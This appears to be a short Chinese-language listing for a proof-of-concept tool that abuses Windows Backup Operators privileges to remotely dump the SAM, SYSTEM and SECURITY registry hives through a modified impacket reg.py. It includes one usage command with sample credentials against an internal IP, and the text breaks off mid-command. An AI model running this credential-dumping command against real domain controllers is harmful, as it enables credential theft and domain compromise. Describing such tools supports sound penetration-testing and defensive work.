backup_dc_registry

备份操作员注册表备份导致域沦陷 一个简单的 POC，利用备份操作员权限远程转储 SAM、SYSTEM 和 SECURITY 注册表配置单元。 研究致谢： @filipdragovic 移植自 @mpgn 的 Windows PoC 用法 该概念验证是 impacket/examples/reg.py 的修改版本，可与已安装的最新 impacket 版本配合使用。所有受支持的 impacket 认证机制均可用。 root@kitploit: root@kali: python3 reg.py jsmith:'Spring2021'@10.0.229.1 backup -p...